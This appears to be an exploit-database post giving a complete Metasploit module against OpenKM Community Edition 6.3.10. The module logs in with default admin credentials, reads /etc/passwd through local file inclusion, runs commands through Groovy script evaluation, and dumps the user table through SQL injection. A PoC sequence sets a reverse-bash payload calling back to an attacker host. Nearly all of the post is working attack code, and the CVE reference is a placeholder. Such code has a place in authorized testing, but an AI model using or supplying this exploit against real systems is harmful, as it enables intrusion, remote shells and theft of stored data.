============================================================================================================================================= | # Title : OpenKM Community Edition 6.3.10 Multiple Vulnerabilities Exploit Module (Metasploit) | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) | | # Vendor : https://www.openkm.com/ | ============================================================================================================================================= [+] References : https://packetstorm.news/files/id/214050/ & [+] Summary : This Metasploit module targets multiple vulnerabilities in the OpenKM document management system. It includes capabilities for: Local File Inclusion (LFI) via the Scripting module. Remote Code Execution (RCE) through Groovy script evaluation. SQL Injection (SQLi) via the DatabaseQuery module. The module was designed for OpenKM Community Edition 6.3.10 but can serve as a proof-of-concept for other vulnerable versions. It requires authentication with admin-level credentials for most attacks. The module demonstrates exploitation techniques for research and testing purposes. It is primarily a PoC and not guaranteed to succeed in all environments, depending on configuration, patching, and security hardening. [+] Notes: LFI requires the Scripting module and valid CSRF token. RCE executes commands through Groovy; restricted environments may prevent exploitation. SQLi works if the DatabaseQuery module is accessible and unrestricted. This module is intended for lab testing, research, or authorized penetration testing only. [+] Impact: Unauthorized reading of files, remote command execution, and data disclosure from SQL injection. [+] POC : # Test scan only msfconsole use exploit/multi/http/openkm_vulns set RHOSTS target_ip set RPORT 8080 check # Test LFI set EXPLOIT_TYPE LFI set LFI_FILE /etc/passwd run # Test RCE (without payload) set EXPLOIT_TYPE RCE run # Test RCE (with payload) set EXPLOIT_TYPE RCE set PAYLOAD cmd/unix/reverse_bash set LHOST attacker_ip exploit ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'OpenKM Multiple Vulnerabilities Exploit', 'Description' => %q{ This module exploits multiple vulnerabilities in OpenKM document management system. Vulnerabilities include: 1. Local File Inclusion (LFI) in Scripting module 2. Remote Code Execution (RCE) via Groovy scripting 3. SQL Injection in DatabaseQuery module Tested on OpenKM Community Edition 6.3.10 }, 'License' => MSF_LICENSE, 'Author' => [ 'indoushka' # Module conversion ], 'References' => [ ['CVE', 'CVE-2024-XXXXX'], ['URL', 'https://terrasystemlabs.com/research'] ], 'Platform' => ['unix', 'linux'], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2048, 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic netcat bash perl python' } }, 'Targets' => [ ['Automatic', {}] ], 'DefaultTarget' => 0, 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 8080 }, 'DisclosureDate' => '2024-01-01', 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES] } )) register_options([ OptString.new('TARGETURI', [true, 'The base path to OpenKM', '/OpenKM']), OptString.new('USERNAME', [true, 'Username to authenticate', 'okmAdmin']), OptString.new('PASSWORD', [true, 'Password to authenticate', 'admin']), OptEnum.new('EXPLOIT_TYPE', [ true, 'Type of exploit to use', 'RCE', ['LFI', 'RCE', 'SQLI'] ]), OptString.new('LFI_FILE', [false, 'File to read for LFI exploit', '/etc/passwd']), OptString.new('SQL_QUERY', [false, 'SQL query to execute', 'SELECT * FROM OKM_USER']) ]) end def check print_status("Checking if target is OpenKM and vulnerable...") # Check 1: Version detection via GWT RPC version_info = get_version if version_info print_good("Detected OpenKM version: #{version_info}") return Exploit::CheckCode::Appears end # Check 2: Try to access login page res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'index.jsp') }) if res && res.code == 200 && res.body.include?('OpenKM') print_warning("OpenKM detected but version check failed") return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end def get_version uri = normalize_uri(target_uri.path, 'frontend', 'Workspace') res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'headers' => { 'Content-Type' => 'text/x-gwt-rpc; charset=utf-8', 'X-GWT-Module-Base' => "#{get_uri}frontend/" }, 'data' => "7|0|4|#{get_uri}frontend/|42DC97C6A4E30E734F8CCD1FE2250214|com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|" }) if res && res.code == 200 && res.body.include?('//OK') # Parse version from response if res.body =~ /com\.openkm\.frontend\.client\.bean\.GWTAppVersion/ version_match = res.body.scan(/"(\d+\.\d+\.\d+)"/).flatten.first return version_match if version_match end return "Unknown (GWT response detected)" end nil end def login print_status("Attempting to login with #{datastore['USERNAME']}:#{datastore['PASSWORD']}") # First get the login page for session res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login.jsp') }) return false unless res # Perform login res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'), 'vars_post' => { 'j_username' => datastore['USERNAME'], 'j_password' => datastore['PASSWORD'], 'j_language' => 'en-GB', 'submit' => '' }, 'headers' => { 'Referer' => "#{get_uri}#{normalize_uri(target_uri.path, 'login.jsp')}" } }) if res && (res.code == 302 || res.code == 200) # Check if we're redirected to dashboard if res.headers['Location'] && !res.headers['Location'].include?('error') print_good("Login successful") @cookie = res.get_cookies return true elsif res.code == 200 && res.body.include?('Dashboard') print_good("Login successful (no redirect)") @cookie = res.get_cookies return true end end print_error("Login failed") false end def get_csrf_token res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'), 'cookie' => @cookie }) return nil unless res && res.code == 200 # Extract CSRF token if res.body =~ /name="csrft"\s+value="([^"]+)"/ return Regexp.last_match(1) end nil end def exploit_lfi(file_path) print_status("Attempting LFI exploit for file: #{file_path}") csrf_token = get_csrf_token unless csrf_token print_error("Could not obtain CSRF token") return false end res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'), 'cookie' => @cookie, 'vars_post' => { 'csrft' => csrf_token, 'script' => '', 'fsPath' => file_path, 'action' => 'Load' } }) if res && res.code == 200 # Extract content from textarea if res.body =~ /]*id="script"[^>]*>([\s\S]*?)<\/textarea>/ content = Regexp.last_match(1).strip if !content.empty? print_good("Successfully read file:") print_line(content) # Save to loot loot_path = store_loot( 'openkm.lfi.data', 'text/plain', rhost, content, file_path, 'OpenKM LFI Exploit' ) print_good("File saved to: #{loot_path}") return true end end end print_error("LFI exploit failed") false end def exploit_rce(cmd) print_status("Attempting RCE with command: #{cmd}") csrf_token = get_csrf_token unless csrf_token print_error("Could not obtain CSRF token") return false end # Groovy script for command execution groovy_script = <<~GROOVY def cmd = "#{cmd.gsub('"', '\\"')}" def process = cmd.execute() def output = process.text print("CMD_OUTPUT:" + output) GROOVY res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'), 'cookie' => @cookie, 'vars_post' => { 'csrft' => csrf_token, 'script' => groovy_script, 'fsPath' => '', 'action' => 'Evaluate' } }) if res && res.code == 200 if res.body.include?('CMD_OUTPUT:') # Extract command output output = res.body.split('CMD_OUTPUT:').last output = output.split('<').first.strip if output.include?('<') print_good("Command executed successfully:") print_line(output) # Save to loot loot_path = store_loot( 'openkm.rce.output', 'text/plain', rhost, output, "Command: #{cmd}", 'OpenKM RCE Exploit' ) print_good("Output saved to: #{loot_path}") return true end end print_error("RCE exploit failed") false end def exploit_sqli(query) print_status("Attempting SQL Injection with query: #{query}") # Construct multipart form data for SQL query boundary = "----WebKitFormBoundary#{rand(36**20).to_s(36)}" post_data = "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"qs\"\r\n\r\n" post_data << "#{query};\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"tables\"\r\n\r\n" post_data << "OKM_USER\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n" post_data << "--#{boundary}\r\n" post_data << "Content-Disposition: form-data; name=\"type\"\r\n\r\n" post_data << "jdbc\r\n" post_data << "--#{boundary}--\r\n" res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'DatabaseQuery'), 'cookie' => @cookie, 'headers' => { 'Content-Type' => "multipart/form-data; boundary=#{boundary}" }, 'data' => post_data }) if res && res.code == 200 # Parse HTML table results if res.body.include?('') # Extract table data require 'nokogiri' doc = Nokogiri::HTML(res.body) table = doc.at('table.results-old') if table print_good("SQL query executed successfully") # Extract and display data rows = table.search('tr') headers = rows.first.search('th, td').map(&:text) # Print table table_data = [] rows[1..-1].each do |row| cells = row.search('td').map(&:text) table_data << cells print_line(cells.join(' | ')) end # Save to loot loot_content = "Query: #{query}\n\n" loot_content << headers.join(' | ') + "\n" table_data.each { |row| loot_content << row.join(' | ') + "\n" } loot_path = store_loot( 'openkm.sqli.results', 'text/plain', rhost, loot_content, 'sql_results.txt', 'OpenKM SQL Injection Exploit' ) print_good("Results saved to: #{loot_path}") return true end end end print_error("SQL Injection exploit failed") false end def exploit # Main exploit method print_status("Starting OpenKM exploit module") # Check if target is vulnerable check_code = check unless check_code == Exploit::CheckCode::Appears || datastore['ForceExploit'] fail_with(Failure::NotVulnerable, 'Target does not appear to be vulnerable') end # Login unless login fail_with(Failure::NoAccess, 'Authentication failed') end # Execute based on exploit type case datastore['EXPLOIT_TYPE'] when 'LFI' file = datastore['LFI_FILE'] || '/etc/passwd' success = exploit_lfi(file) when 'RCE' # Use payload if provided, otherwise use datastore command cmd = payload.encoded || 'whoami' success = exploit_rce(cmd) if success && payload.encoded print_good("Shell payload delivered successfully") handler end when 'SQLI' query = datastore['SQL_QUERY'] || 'SELECT * FROM OKM_USER' success = exploit_sqli(query) else fail_with(Failure::BadConfig, "Invalid exploit type: #{datastore['EXPLOIT_TYPE']}") end # Report vulnerability if success report_vuln( host: rhost, port: rport, name: self.name, refs: self.references, info: "Exploited via #{datastore['EXPLOIT_TYPE']}" ) end success end def get_uri proto = datastore['SSL'] ? 'https://' : 'http://' "#{proto}#{rhost}:#{rport}" end end Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================